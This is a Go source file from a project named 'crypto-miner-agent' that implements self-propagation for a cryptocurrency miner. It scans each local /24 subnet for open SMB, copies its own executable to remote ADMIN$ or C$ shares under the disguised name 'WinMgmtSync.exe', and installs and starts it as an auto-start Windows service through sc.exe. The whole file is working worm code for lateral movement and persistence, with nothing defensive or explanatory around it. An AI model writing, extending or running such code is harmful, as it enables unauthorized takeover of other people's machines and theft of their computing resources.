package deploy import ( "fmt" "log" "net" "os" "os/exec" "path/filepath" "strings" "time" "crypto-miner-agent/config" ) // StartAutoSpreader launches a background routine that periodically attempts // to replicate the miner to other machines on the local subnet via SMB and RPC. func StartAutoSpreader(cfg config.RuntimeConfig) { // AutoSpread feature retained per user request. // Enables SMB/RPC lateral deployment on the local /24 subnet. if !cfg.AutoSpread { return } go func() { // Wait 10 minutes after initial startup before attempting lateral movement time.Sleep(10 * time.Minute) // Attempt every 4 hours ticker := time.NewTicker(4 * time.Hour) defer ticker.Stop() for { spreadToLocalSubnet(cfg) <-ticker.C } }() log.Printf("[autospread] Lateral movement module initialized and active") } func spreadToLocalSubnet(cfg config.RuntimeConfig) { ips := getLocalIPs() for _, ip := range ips { subnet := getSubnet(ip) if subnet == "" { continue } // Sweep the /24 subnet for i := 1; i < 255; i++ { target := fmt.Sprintf("%s.%d", subnet, i) if target == ip { continue // Skip self } go attemptSpread(cfg, target) time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts } } } func getLocalIPs() []string { var ips []string ifaces, err := net.Interfaces() if err != nil { return ips } for _, i := range ifaces { if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 { continue } addrs, err := i.Addrs() if err != nil { continue } for _, a := range addrs { if ipnet, ok := a.(*net.IPNet); ok { if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() { ips = append(ips, ip4.String()) } } } } return ips } func getSubnet(ip string) string { parts := strings.Split(ip, ".") if len(parts) != 4 { return "" } return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2]) } func attemptSpread(cfg config.RuntimeConfig, target string) { // 1. Quick pre-check: Is port 445 (SMB) open? conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second) if err != nil { return } conn.Close() exePath, err := os.Executable() if err != nil { return } // Target paths destName := "WinMgmtSync.exe" adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName) remoteExe := filepath.Join(`C:\Windows\System32`, destName) // 2. Attempt to copy payload via SMB using the current security token copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare) if err := copyCmd.Run(); err != nil { // Fallback to C$ hidden temp folder if System32 is restricted cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName) copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare) if err := copyCmd.Run(); err != nil { return // Access denied or host unreachable } remoteExe = filepath.Join(`C:\Windows\Temp`, destName) } // 3. Create Windows Service on the remote machine via Service Control Manager (RPC) svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) // Delete existing just in case path changed _ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run() _ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run() scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto") _ = scCreate.Run() // Ignore errors, it might already exist // 4. Start the remote service scStart := exec.Command("sc.exe", `\\`+target, "start", svcName) if err := scStart.Run(); err == nil { log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) } }